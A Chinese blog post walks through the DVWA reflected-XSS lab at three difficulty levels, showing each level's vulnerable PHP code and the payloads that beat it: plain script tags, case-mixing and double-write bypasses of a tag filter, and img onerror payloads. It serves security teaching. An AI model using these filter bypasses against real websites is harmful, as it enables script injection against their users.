本文已参与「新人创作礼」活动,一起开启掘金创作之路。
XSS (Reflected)反射型XSS
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击) 恶意代码并没有保存在目标网站,由浏览器解析脚本。
反射型xss,其实练习完就能感受到比起存储型xss,利用起来要困难很多
反射型不像存储型会存储在网站上,当别人来访问时就会执行,这里需要我们自己来构造链接诱使用户点击,这比起存储型xss就明显复杂很多,存储xss,类似留言板我们把xss payload仍上去后不用管,只要不被删,用户的信息就会往我们的xss平台上发了
所以说反射型和存储型在找漏洞的时候就是不一样的,反射型就需要见框就插。
Low
代码分析
<?php
//X-XSS-Protection: 1 :强制XSS保护(用户禁用XSS保护时有用)
//X-XSS-Protection: 0 :禁用XSS保护
header ("X-XSS-Protection: 0");
// Is there any input?
//判断值非空
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
//输入用户输出的值
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
代码中可以看到,在low级别中没用进行任何的对XSS攻击的防御措施,用户输入什么都会被执行。
那么我们直接
<script>alert(/xss/)</script>
Medium
代码分析
<?php
//X-XSS-Protection: 1 :强制XSS保护(用户禁用XSS保护时有用)
//X-XSS-Protection: 0 :禁用XSS保护
header ("X-XSS-Protection: 0");
// Is there any input?
//获取用户输入的值
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//过滤掉了<script>
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
//输出用户的数据
echo "<pre>Hello ${name}</pre>";
}
?>
<script>标签被过滤了,尝试使用大小写混淆或者双写绕过
<ScRipt>alert(/xss/)</script>
成功弹窗!!!
我们试试双写的
<sc<script>ript>alert(/xss/)</script>
成功弹窗!!!
那么用img图片的呢
<img src=x οnerrοr=alert(/xss/)>
写进去了
High
代码分析
<?php
//X-XSS-Protection: 1 :强制XSS保护(用户禁用XSS保护时有用)
//X-XSS-Protection: 0 :禁用XSS保护
header ("X-XSS-Protection: 0");
// Is there any input?
//非空判断
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//过滤掉了/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i',这些字符
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
//输出用户输入的信息
echo "<pre>Hello ${name}</pre>";
}
?>
我们通过代码发现基本我们XSS的语句店铺被过滤掉了
script标签代码被过滤
那么就尝试使用img、body等标签的事件或者iframe等标签的src注入恶意js代码
<img src=1 οnerrοr=alert(1)>
能写进去